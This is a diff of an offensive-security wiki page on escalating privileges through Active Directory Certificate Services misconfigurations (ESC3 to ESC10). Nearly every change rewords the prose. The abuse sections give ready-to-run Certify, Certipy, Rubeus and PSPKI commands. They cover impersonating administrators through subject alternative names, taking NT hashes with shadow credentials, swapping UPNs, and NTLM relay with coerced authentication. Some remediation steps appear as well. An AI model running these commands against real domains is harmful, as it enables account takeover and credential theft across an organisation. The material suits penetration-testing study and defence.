https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee +The Windows binaries "Certreq.exe" & "Certutil.exe" can be used to generate the PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee -Moreover, the following LDAP query when run against the AD Forest’s configuration schema can be used to **enumerate** **certificate templates** that do **not require approval/signatures**, that have a **Client Authentication or Smart Card Logon EKU**, and have the **`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`** flag enabled: +The enumeration of certificate templates within the AD Forest's configuration schema, specifically those not necessitating approval or signatures, possessing a Client Authentication or Smart Card Logon EKU, and with the `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag enabled, can be performed by running the following LDAP query: ``` (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1)) @@ -72,19 +79,19 @@ Moreover, the following LDAP query when run against the AD Forest’s configurat The second abuse scenario is a variation of the first one: -1. The Enterprise CA grants low-privileged users enrollment rights. -2. Manager approval is disabled. -3. No authorized signatures are required. -4. An overly permissive certificate template security descriptor grants certificate enrollment rights to low-privileged users. -5. **The certificate template defines the Any Purpose EKU or no EKU.** +1. Enrollment rights are granted to low-privileged users by the Enterprise CA. +2. The requirement for manager approval is disabled. +3. The need for authorized signatures is omitted. +4. An overly permissive security descriptor on the certificate template grants certificate enrollment rights to low-privileged users. +5. **The certificate template is defined to include the Any Purpose EKU or no EKU.** -The **Any Purpose EKU** allows an attacker to get a **certificate** for **any purpose** like client authentication, server authentication, code signing, etc. The same **technique as for ESC3** can be used to abuse this. +The **Any Purpose EKU** permits a certificate to be obtained by an attacker for **any purpose**, including client authentication, server authentication, code signing, etc. The same **technique used for ESC3** can be employed to exploit this scenario. -A **certificate with no EKUs** — a subordinate CA certificate —  can be abused for **any purpose** as well but could **also use it to sign new certificates**. As such, using a subordinate CA certificate, an attacker could **specify arbitrary EKUs or fields in the new certificates.** +Certificates with **no EKUs**, which act as subordinate CA certificates, can be exploited for **any purpose** and can **also be used to sign new certificates**. Hence, an attacker could specify arbitrary EKUs or fields in the new certificates by utilizing a subordinate CA certificate. -However, if the **subordinate CA is not trusted** by the **`NTAuthCertificates`** object (which it won’t be by default), the attacker **cannot create new certificates** that will work for **domain authentication**. Still, the attacker can create **new certificates with any EKU** and arbitrary certificate values, of which there’s **plenty** the attacker could potentially **abuse** (e.g., code signing, server authentication, etc.) and might have large implications for other applications in the network like SAML, AD FS, or IPSec. +However, new certificates created for **domain authentication** will not function if the subordinate CA is not trusted by the **`NTAuthCertificates`** object, which is the default setting. Nonetheless, an attacker can still create **new certificates with any EKU** and arbitrary certificate values. These could be potentially **abused** for a wide range of purposes (e.g., code signing, server authentication, etc.) and could have significant implications for other applications in the network like SAML, AD FS, or IPSec. -The following LDAP query when run against the AD Forest’s configuration schema can be used to enumerate templates matching this scenario: +To enumerate templates that match this scenario within the AD Forest’s configuration schema, the following LDAP query can be run: ``` (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))) @@ -102,19 +109,19 @@ The **“enrollment agent”** enrolls in such a **template** and uses the resul **Requirements 1:** -1. The Enterprise CA allows low-privileged users enrollment rights. -2. Manager approval is disabled. -3. No authorized signatures are required. -4. An overly permissive certificate template security descriptor allows certificate enrollment rights to low-privileged users. -5. The **certificate template defines the Certificate Request Agent EKU**. The Certificate Request Agent OID (1.3.6.1.4.1.311.20.2.1) allows for requesting other certificate templates on behalf of other principals. +- Enrollment rights are granted to low-privileged users by the Enterprise CA. +- The requirement for manager approval is omitted. +- No requirement for authorized signatures. +- The security descriptor of the certificate template is excessively permissive, granting enrollment rights to low-privileged users. +- The certificate template includes the Certificate Request Agent EKU, enabling the request of other certificate templates on behalf of other principals. **Requirements 2:** -1. The Enterprise CA allows low-privileged users enrollment rights. -2. Manager approval is disabled. -3. **The template schema version 1 or is greater than 2 and specifies an Application Policy Issuance Requirement requiring the Certificate Request Agent EKU.** -4. The certificate template defines an EKU that allows for domain authentication. -5. Enrollment agent restrictions are not implemented on the CA. +- The Enterprise CA grants enrollment rights to low-privileged users. +- Manager approval is bypassed. +- The template's schema version is either 1 or exceeds 2, and it specifies an Application Policy Issuance Requirement that necessitates the Certificate Request Agent EKU. +- An EKU defined in the certificate template permits domain authentication. +- Restrictions for enrollment agents are not applied on the CA. ### Abuse @@ -122,37 +129,37 @@ You can use [**Certify**](https://github.com/GhostPack/Certify) or [**Certipy**] ```bash # Request an enrollment agent certificate -Certify.exe request /ca:CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA /template:Vuln-EnrollmentAgent +Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local' -ca 'corp-CA' -template 'templateName' # Enrollment agent certificate to issue a certificate request on behalf of # another user to a template that allow for domain authentication -Certify.exe request /ca:CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf +Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx' # Use Rubeus with the certificate to authenticate as the other user Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf ``` -Enterprise CAs can **constrain** the **users** who can **obtain** an **enrollment agent certificate**, the templates enrollment **agents can enroll in**, and which **accounts** the enrollment agent can **act on behalf of** by opening `certsrc.msc` `snap-in -> right clicking on the CA -> clicking Properties -> navigating` to the “Enrollment Agents” tab. +The **users** who are allowed to **obtain** an **enrollment agent certificate**, the templates in which enrollment **agents** are permitted to enroll, and the **accounts** on behalf of which the enrollment agent may act can be constrained by enterprise CAs. This is achieved by opening the `certsrc.msc` **snap-in**, **right-clicking on the CA**, **clicking Properties**, and then **navigating** to the “Enrollment Agents” tab. -However, the **default** CA setting is “**Do not restrict enrollment agents”.** Even when administrators enable “Restrict enrollment agents”, the default setting is extremely permissive, allowing Everyone access enroll in all templates as anyone. +However, it is noted that the **default** setting for CAs is to “**Do not restrict enrollment agents**.” When the restriction on enrollment agents is enabled by administrators, setting it to “Restrict enrollment agents,” the default configuration remains extremely permissive. It allows **Everyone** access to enroll in all templates as anyone. ## Vulnerable Certificate Template Access Control - ESC4 ### **Explanation** -**Certificate templates** have a **security descriptor** that specifies which AD **principals** have specific **permissions over the template**. +The **security descriptor** on **certificate templates** defines the **permissions** specific **AD principals** possess concerning the template. -If an **attacker** has enough **permissions** to **modify** a **template** and **create** any of the exploitable **misconfigurations** from the **previous sections**, he will be able to exploit it and **escalate privileges**. +Should an **attacker** possess the requisite **permissions** to **alter** a **template** and **institute** any **exploitable misconfigurations** outlined in **prior sections**, privilege escalation could be facilitated. -Interesting rights over certificate templates: +Notable permissions applicable to certificate templates include: -* **Owner:** Implicit full control of the object, can edit any properties. -* **FullControl:** Full control of the object, can edit any properties. -* **WriteOwner:** Can modify the owner to an attacker-controlled principal. -* **WriteDacl**: Can modify access control to grant an attacker FullControl. -* **WriteProperty:** Can edit any properties +- **Owner:** Grants implicit control over the object, allowing for the modification of any attributes. +- **FullControl:** Enables complete authority over the object, including the capability to alter any attributes. +- **WriteOwner:** Permits the alteration of the object's owner to a principal under the attacker's control. +- **WriteDacl:** Allows for the adjustment of access controls, potentially granting an attacker FullControl. +- **WriteProperty:** Authorizes the editing of any object properties. ### Abuse @@ -164,7 +171,9 @@ ESC4 is when a user has write privileges over a certificate template. This can f As we can see in the path above, only `JOHNPC` has these privileges, but our user `JOHN` has the new `AddKeyCredentialLink` edge to `JOHNPC`. Since this technique is related to certificates, I have implemented this attack as well, which is known as [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Here’s a little sneak peak of Certipy’s `shadow auto` command to retrieve the NT hash of the victim. -
+```bash +certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc' +``` **Certipy** can overwrite the configuration of a certificate template with a single command. By **default**, Certipy will **overwrite** the configuration to make it **vulnerable to ESC1**. We can also specify the **`-save-old` parameter to save the old configuration**, which will be useful for **restoring** the configuration after our attack. @@ -183,63 +192,62 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes ### Explanation -The web of interconnected ACL based relationships that can affect the security of AD CS is extensive. Several **objects outside of certificate** templates and the certificate authority itself can have a **security impact on the entire AD CS system**. These possibilities include (but are not limited to): +The extensive web of interconnected ACL-based relationships, which includes several objects beyond certificate templates and the certificate authority, can impact the security of the entire AD CS system. These objects, which can significantly affect security, encompass: -* The **CA server’s AD computer object** (i.e., compromise through S4U2Self or S4U2Proxy) -* The **CA server’s RPC/DCOM server** -* Any **descendant AD object or container in the container** `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=` (e.g., the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, the Enrollment Services Container, etc.) +* The AD computer object of the CA server, which may be compromised through mechanisms like S4U2Self or S4U2Proxy. +* The RPC/DCOM server of the CA server. +* Any descendant AD object or container within the specific container path `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`. This path includes, but is not limited to, containers and objects such as the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, and the Enrollment Services Container. -If a low-privileged attacker can gain **control over any of these**, the attack can likely **compromise the PKI system**. +The security of the PKI system can be compromised if a low-privileged attacker manages to gain control over any of these critical components. ## EDITF\_ATTRIBUTESUBJECTALTNAME2 - ESC6 ### Explanation -There is another similar issue, described in the [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage), which involves the **`EDITF_ATTRIBUTESUBJECTALTNAME2`** flag. As Microsoft describes, “**If** this flag is **set** on the CA, **any request** (including when the subject is built from Active Directory®) can have **user defined values** in the **subject alternative name**.”\ -This means that an **attacker** can enroll in **ANY template** configured for domain **authentication** that also **allows unprivileged** users to enroll (e.g., the default User template) and **obtain a certificate** that allows us to **authenticate** as a domain admin (or **any other active user/machine**). +The subject discussed in the [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) also touches on the **`EDITF_ATTRIBUTESUBJECTALTNAME2`** flag's implications, as outlined by Microsoft. This configuration, when activated on a Certification Authority (CA), permits the inclusion of **user-defined values** in the **subject alternative name** for **any request**, including those constructed from Active Directory®. Consequently, this provision allows an **intruder** to enroll through **any template** set up for domain **authentication**—specifically those open to **unprivileged** user enrollment, like the standard User template. As a result, a certificate can be secured, enabling the intruder to authenticate as a domain administrator or **any other active entity** within the domain. -**Note**: the **alternative names** here are **included** in a CSR via the `-attrib "SAN:"` argument to `certreq.exe` (i.e., “Name Value Pairs”). This is **different** than the method for **abusing SANs** in ESC1 as it **stores account information in a certificate attribute vs a certificate extension**. +**Note**: The approach for appending **alternative names** into a Certificate Signing Request (CSR), through the `-attrib "SAN:"` argument in `certreq.exe` (referred to as “Name Value Pairs”), presents a **contrast** from the exploitation strategy of SANs in ESC1. Here, the distinction lies in **how account information is encapsulated**—within a certificate attribute, rather than an extension. ### Abuse -Organizations can **check if the setting is enabled** using the following `certutil.exe` command: +To verify whether the setting is activated, organizations can utilize the following command with `certutil.exe`: ```bash certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags" ``` -Underneath, this just uses **remote** **registry**, so the following command may work as well: +This operation essentially employs **remote registry access**, hence, an alternative approach might be: -``` +```bash reg.exe query \\\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags ``` -[**Certify**](https://github.com/GhostPack/Certify) and [**Certipy**](https://github.com/ly4k/Certipy) also checks for this and can be used to abuse this misconfiguration: +Tools like [**Certify**](https://github.com/GhostPack/Certify) and [**Certipy**](https://github.com/ly4k/Certipy) are capable of detecting this misconfiguration and exploiting it: ```bash -# Check for vulns, including this one +# Detect vulnerabilities, including this one Certify.exe find -# Abuse vuln -Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:User /altname:localadmin +# Exploit vulnerability +Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local ``` -These settings can be **set**, assuming **domain administrative** (or equivalent) rights, from any system: +To alter these settings, assuming one possesses **domain administrative** rights or equivalent, the following command can be executed from any workstation: ```bash certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2 ``` -If you find this setting in your environment, you can **remove this flag** with: +To disable this configuration in your environment, the flag can be removed with: ```bash certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2 ``` {% hint style="warning" %} -After the May 2022 security updates, new **certificates** will have a **securiy extension** that **embeds** the **requester's `objectSid` property**. For ESC1, this property will be reflected from the SAN specified, but with **ESC6**, this property reflects the **requester's `objectSid`**, and not from the SAN.\ -As such, **to abuse ESC6**, the environment must be **vulnerable to ESC10** (Weak Certificate Mappings), where the **SAN is preferred over the new security extension**. +Post the May 2022 security updates, newly issued **certificates** will contain a **security extension** that incorporates the **requester's `objectSid` property**. For ESC1, this SID is derived from the specified SAN. However, for **ESC6**, the SID mirrors the **requester's `objectSid`**, not the SAN.\ +To exploit ESC6, it is essential for the system to be susceptible to ESC10 (Weak Certificate Mappings), which prioritizes the **SAN over the new security extension**. {% endhint %} ## Vulnerable Certificate Authority Access Control - ESC7 @@ -248,35 +256,27 @@ As such, **to abuse ESC6**, the environment must be **vulnerable to ESC10** (Wea #### Explanation -A certificate authority itself has a **set of permissions** that secure various **CA actions**. These permissions can be access from `certsrv.msc`, right clicking a CA, selecting properties, and switching to the Security tab: - -
- -This can also be enumerated via [**PSPKI’s module**](https://www.pkisolutions.com/tools/pspki/) with `Get-CertificationAuthority | Get-CertificationAuthorityAcl`: +Access control for a certificate authority is maintained through a set of permissions that govern CA actions. These permissions can be viewed by accessing `certsrv.msc`, right-clicking a CA, selecting properties, and then navigating to the Security tab. Additionally, permissions can be enumerated using the PSPKI module with commands such as: ```bash -Get-CertificationAuthority -ComputerName dc.theshire.local | Get-certificationAuthorityAcl | select -expand Access +Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access ``` -The two main rights here are the **`ManageCA`** right and the **`ManageCertificates`** right, which translate to the “CA administrator” and “Certificate Manager”. +This provides insights into the primary rights, namely **`ManageCA`** and **`ManageCertificates`**, correlating to the roles of “CA administrator” and “Certificate Manager” respectively. #### Abuse -If you have a principal with **`ManageCA`** rights on a **certificate authority**, we can use **PSPKI** to remotely flip the **`EDITF_ATTRIBUTESUBJECTALTNAME2`** bit to **allow SAN** specification in any template ([ECS6](domain-escalation.md#editf\_attributesubjectaltname2-esc6)): +Having **`ManageCA`** rights on a certificate authority enables the principal to manipulate settings remotely using PSPKI. This includes toggling the **`EDITF_ATTRIBUTESUBJECTALTNAME2`** flag to permit SAN specification in any template, a critical aspect of domain escalation. -
+Simplification of this process is achievable through the use of PSPKI’s **Enable-PolicyModuleFlag** cmdlet, allowing modifications without direct GUI interaction. -
+Possession of **`ManageCertificates`** rights facilitates the approval of pending requests, effectively circumventing the "CA certificate manager approval" safeguard. -This is also possible in a simpler form with [**PSPKI’s Enable-PolicyModuleFlag**](https://www.sysadmins.lv/projects/pspki/enable-policymoduleflag.aspx) cmdlet. - -The **`ManageCertificates`** rights permits to **approve a pending request**, therefore bypassing the "CA certificate manager approval" protection. - -You can use a **combination** of **Certify** and **PSPKI** module to request a certificate, approve it, and download it: +A combination of **Certify** and **PSPKI** modules can be utilized to request, approve, and download a certificate: ```powershell # Request a certificate that will require an approval -Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:ApprovalNeeded +Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded [...] [*] CA Response : The certificate is still pending. [*] Request ID : 336 @@ -284,10 +284,10 @@ Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:ApprovalNeede # Use PSPKI module to approve the request Import-Module PSPKI -Get-CertificationAuthority -ComputerName dc.theshire.local | Get-PendingRequest -RequestID 336 | Approve-CertificateRequest +Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -RequestID 336 | Approve-CertificateRequest # Download the certificate -Certify.exe download /ca:dc.theshire.local\theshire-DC-CA /id:336 +Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336 ``` ### Attack 2 @@ -295,7 +295,7 @@ Certify.exe download /ca:dc.theshire.local\theshire-DC-CA /id:336 #### Explanation {% hint style="warning" %} -In the **previous attack** **`Manage CA`** permissions was used to **enable** the **EDITF\_ATTRIBUTESUBJECTALTNAME2** flag to perform the **ESC6 attack**, but this will not have any effect until the CA service (`CertSvc`) is restarted. When a user has the `Manage CA` access right, the user is also allowed to **restart the service**. However, it **does not mean that the user can restart the service remotely**. Furthermore, E**SC6 might not work out of the box** in most patched environments due to the May 2022 security updates. +In the **previous attack** **`Manage CA`** permissions were used to **enable** the **EDITF\_ATTRIBUTESUBJECTALTNAME2** flag to perform the **ESC6 attack**, but this will not have any effect until the CA service (`CertSvc`) is restarted. When a user has the `Manage CA` access right, the user is also allowed to **restart the service**. However, it **does not mean that the user can restart the service remotely**. Furthermore, E**SC6 might not work out of the box** in most patched environments due to the May 2022 security updates. {% endhint %} Therefore, another attack is presented here. @@ -377,23 +377,23 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) ### Explanation {% hint style="info" %} -In summary, if an environment has **AD CS installed**, along with a **vulnerable web enrollment endpoint** and at least one **certificate template published** that allows for **domain computer enrollment and client authentication** (like the default **`Machine`** template), then an **attacker can compromise ANY computer with the spooler service running**! +In environments where **AD CS is installed**, if a **web enrollment endpoint vulnerable** exists and at least one **certificate template is published** that permits **domain computer enrollment and client authentication** (such as the default **`Machine`** template), it becomes possible for **any computer with the spooler service active to be compromised by an attacker**! {% endhint %} -AD CS supports several **HTTP-based enrollment methods** via additional AD CS server roles that administrators can install. These HTTPbased certificate enrollment interfaces are all **vulnerable NTLM relay attacks**. Using NTLM relay, an attacker on a **compromised machine can impersonate any inbound-NTLM-authenticating AD account**. While impersonating the victim account, an attacker could access these web interfaces and **request a client authentication certificate based on the `User` or `Machine` certificate templates**. +Several **HTTP-based enrollment methods** are supported by AD CS, made available through additional server roles that administrators may install. These interfaces for HTTP-based certificate enrollment are susceptible to **NTLM relay attacks**. An attacker, from a **compromised machine, can impersonate any AD account that authenticates via inbound NTLM**. While impersonating the victim account, these web interfaces can be accessed by an attacker to **request a client authentication certificate using the `User` or `Machine` certificate templates**. -* The **web enrollment interface** (an older looking ASP application accessible at `http:///certsrv/`), by default only supports HTTP, which cannot protect against NTLM relay attacks. In addition, it explicitly only allows NTLM authentication via its Authorization HTTP header, so more secure protocols like Kerberos are unusable. -* The **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) Web Service, and **Network Device Enrollment Service** (NDES) support negotiate authentication by default via their Authorization HTTP header. Negotiate authentication **support** Kerberos and **NTLM**; consequently, an attacker can **negotiate down to NTLM** authentication during relay attacks. These web services do at least enable HTTPS by default, but unfortunately HTTPS by itself does **not protect against NTLM relay attacks**. Only when HTTPS is coupled with channel binding can HTTPS services be protected from NTLM relay attacks. Unfortunately, AD CS does not enable Extended Protection for Authentication on IIS, which is necessary to enable channel binding. +* The **web enrollment interface** (an older ASP application available at `http:///certsrv/`), defaults to HTTP only, which does not offer protection against NTLM relay attacks. Additionally, it explicitly permits only NTLM authentication through its Authorization HTTP header, rendering more secure authentication methods like Kerberos inapplicable. +* The **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) Web Service, and **Network Device Enrollment Service** (NDES) by default support negotiate authentication via their Authorization HTTP header. Negotiate authentication **supports both** Kerberos and **NTLM**, allowing an attacker to **downgrade to NTLM** authentication during relay attacks. Although these web services enable HTTPS by default, HTTPS alone **does not safeguard against NTLM relay attacks**. Protection from NTLM relay attacks for HTTPS services is only possible when HTTPS is combined with channel binding. Regrettably, AD CS does not activate Extended Protection for Authentication on IIS, which is required for channel binding. -Common **problems** with NTLM relay attacks are that the **NTLM sessions are usually short** and that the attacker **cannot** interact with services that **enforce NTLM signing**. +A common **issue** with NTLM relay attacks is the **short duration of NTLM sessions** and the inability of the attacker to interact with services that **require NTLM signing**. -However, abusing a NTLM relay attack to obtain a certificate to the user solves this limitations, as the session will live as long as the certificate is valid and the certificate can be used to use services **enforcing NTLM signing**. To know how to use an stolen cert check: +Nevertheless, this limitation is overcome by exploiting an NTLM relay attack to acquire a certificate for the user, as the certificate's validity period dictates the session's duration, and the certificate can be employed with services that **mandate NTLM signing**. For instructions on utilizing a stolen certificate, refer to: {% content-ref url="account-persistence.md" %} [account-persistence.md](account-persistence.md) {% endcontent-ref %} -Another limitation of NTLM relay attacks is that they **require a victim account to authenticate to an attacker-controlled machine**. An attacker could wait or could try to **force** it: +Another limitation of NTLM relay attacks is that **an attacker-controlled machine must be authenticated to by a victim account**. The attacker could either wait or attempt to **force** this authentication: {% content-ref url="../printers-spooler-service-abuse.md" %} [printers-spooler-service-abuse.md](../printers-spooler-service-abuse.md) @@ -401,7 +401,7 @@ Another limitation of NTLM relay attacks is that they **require a victim account ### **Abuse** -\*\*\*\*[**Certify**](https://github.com/GhostPack/Certify)’s `cas` command can enumerate **enabled HTTP AD CS endpoints**: +[**Certify**](https://github.com/GhostPack/Certify)’s `cas` enumerates **enabled HTTP AD CS endpoints**: ``` Certify.exe cas @@ -409,10 +409,11 @@ Certify.exe cas
-Enterprise CAs also **store CES endpoints** in their AD object in the `msPKI-Enrollment-Servers` property. **Certutil.exe** and **PSPKI** can parse and list these endpoints: +The `msPKI-Enrollment-Servers` property is used by enterprise Certificate Authorities (CAs) to store Certificate Enrollment Service (CES) endpoints. These endpoints can be parsed and listed by utilizing the tool **Certutil.exe**: + ``` -certutil.exe -enrollmentServerURL -config CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA +certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA ```
@@ -443,12 +444,12 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe < #### Abuse with [Certipy](https://github.com/ly4k/Certipy) -By default, Certipy will request a certificate based on the `Machine` or `User` template depending on whether the relayed account name ends with `$`. It is possible to specify another template with the `-template` parameter. +The request for a certificate is made by Certipy by default based on the template `Machine` or `User`, determined by whether the account name being relayed ends in `$`. The specification of an alternative template can be achieved through the use of the `-template` parameter. -We can then use a technique such as [PetitPotam](https://github.com/ly4k/PetitPotam) to coerce authentication. For domain controllers, we must specify `-template DomainController`. +A technique like [PetitPotam](https://github.com/ly4k/PetitPotam) can then be employed to coerce authentication. When dealing with domain controllers, the specification of `-template DomainController` is required. -``` -$ certipy relay -ca ca.corp.local +```bash +certipy relay -ca ca.corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Targeting http://ca.corp.local/certsrv/certfnsh.asp @@ -464,143 +465,161 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) ### Explanation -ESC9 refers to the new **`msPKI-Enrollment-Flag`** value **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`). If this flag is set on a certificate template, the **new `szOID_NTDS_CA_SECURITY_EXT` security extension** will **not** be embedded. ESC9 is only useful when `StrongCertificateBindingEnforcement` is set to `1` (default), since a weaker certificate mapping configuration for Kerberos or Schannel can be abused as ESC10 — without ESC9 — as the requirements will be the same. +The new value **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) for **`msPKI-Enrollment-Flag`**, referred to as ESC9, prevents the embedding of the **new `szOID_NTDS_CA_SECURITY_EXT` security extension** in a certificate. This flag becomes relevant when `StrongCertificateBindingEnforcement` is set to `1` (the default setting), which contrasts with a setting of `2`. Its relevance is heightened in scenarios where a weaker certificate mapping for Kerberos or Schannel might be exploited (as in ESC10), given that the absence of ESC9 would not alter the requirements. -* `StrongCertificateBindingEnforcement` not set to `2` (default: `1`) or `CertificateMappingMethods` contains `UPN` flag -* Certificate contains the `CT_FLAG_NO_SECURITY_EXTENSION` flag in the `msPKI-Enrollment-Flag` value -* Certificate specifies any client authentication EKU -* `GenericWrite` over any account A to compromise any account B +The conditions under which this flag's setting becomes significant include: +- `StrongCertificateBindingEnforcement` is not adjusted to `2` (with the default being `1`), or `CertificateMappingMethods` includes the `UPN` flag. +- The certificate is marked with the `CT_FLAG_NO_SECURITY_EXTENSION` flag within the `msPKI-Enrollment-Flag` setting. +- Any client authentication EKU is specified by the certificate. +- `GenericWrite` permissions are available over any account to compromise another. -### Abuse +### Abuse Scenario -In this case, `John@corp.local` has `GenericWrite` over `Jane@corp.local`, and we wish to compromise `Administrator@corp.local`. `Jane@corp.local` is allowed to enroll in the certificate template `ESC9` that specifies the `CT_FLAG_NO_SECURITY_EXTENSION` flag in the `msPKI-Enrollment-Flag` value. +Suppose `John@corp.local` holds `GenericWrite` permissions over `Jane@corp.local`, with the goal to compromise `Administrator@corp.local`. The `ESC9` certificate template, which `Jane@corp.local` is permitted to enroll in, is configured with the `CT_FLAG_NO_SECURITY_EXTENSION` flag in its `msPKI-Enrollment-Flag` setting. -First, we obtain the hash of `Jane` with for instance Shadow Credentials (using our `GenericWrite`). +Initially, `Jane`'s hash is acquired using Shadow Credentials, thanks to `John`'s `GenericWrite`: -
+```bash +certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane +``` -Next, we change the `userPrincipalName` of `Jane` to be `Administrator`. Notice that we’re leaving out the `@corp.local` part. +Subsequently, `Jane`'s `userPrincipalName` is modified to `Administrator`, purposely omitting the `@corp.local` domain part: -
+```bash +certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator +``` -This is not a constraint violation, since the `Administrator` user’s `userPrincipalName` is `Administrator@corp.local` and not `Administrator`. +This modification does not violate constraints, given that `Administrator@corp.local` remains distinct as `Administrator`'s `userPrincipalName`. -Now, we request the vulnerable certificate template `ESC9`. We must request the certificate as `Jane`. +Following this, the `ESC9` certificate template, marked vulnerable, is requested as `Jane`: -
+```bash +certipy req -username jane@corp.local -hashes -ca corp-DC-CA -template ESC9 +``` -Notice that the `userPrincipalName` in the certificate is `Administrator` and that the issued certificate contains no “object SID”. +It's noted that the certificate's `userPrincipalName` reflects `Administrator`, devoid of any “object SID”. -Then, we change back the `userPrincipalName` of `Jane` to be something else, like her original `userPrincipalName` `Jane@corp.local`. +`Jane`'s `userPrincipalName` is then reverted to her original, `Jane@corp.local`: -
+```bash +certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local +``` -Now, if we try to authenticate with the certificate, we will receive the NT hash of the `Administrator@corp.local` user. You will need to add `-domain ` to your command line since there is no domain specified in the certificate. +Attempting authentication with the issued certificate now yields the NT hash of `Administrator@corp.local`. The command must include `-domain ` due to the certificate's lack of domain specification: + +```bash +certipy auth -pfx adminitrator.pfx -domain corp.local +``` -
## Weak Certificate Mappings - ESC10 ### Explanation -ESC10 refers to two registry key values on the domain controller. +Two registry key values on the domain controller are referred to by ESC10: -`HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` `CertificateMappingMethods`. Default value `0x18` (`0x8 | 0x10`), previously `0x1F`. - -`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` `StrongCertificateBindingEnforcement`. Default value `1`, previously `0`. +- The default value for `CertificateMappingMethods` under `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` is `0x18` (`0x8 | 0x10`), previously set to `0x1F`. +- The default setting for `StrongCertificateBindingEnforcement` under `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` is `1`, previously `0`. **Case 1** -`StrongCertificateBindingEnforcement` set to `0` +When `StrongCertificateBindingEnforcement` is configured as `0`. **Case 2** -`CertificateMappingMethods` contains `UPN` bit (`0x4`) +If `CertificateMappingMethods` includes the `UPN` bit (`0x4`). ### Abuse Case 1 -* `StrongCertificateBindingEnforcement` set to `0` -* `GenericWrite` over any account A to compromise any account B +With `StrongCertificateBindingEnforcement` configured as `0`, an account A with `GenericWrite` permissions can be exploited to compromise any account B. -In this case, `John@corp.local` has `GenericWrite` over `Jane@corp.local`, and we wish to compromise `Administrator@corp.local`. The abuse steps are almost identical to ESC9, except that any certificate template can be used. +For instance, having `GenericWrite` permissions over `Jane@corp.local`, an attacker aims to compromise `Administrator@corp.local`. The procedure mirrors ESC9, allowing any certificate template to be utilized. -First, we obtain the hash of `Jane` with for instance Shadow Credentials (using our `GenericWrite`). +Initially, `Jane`'s hash is retrieved using Shadow Credentials, exploiting the `GenericWrite`. -
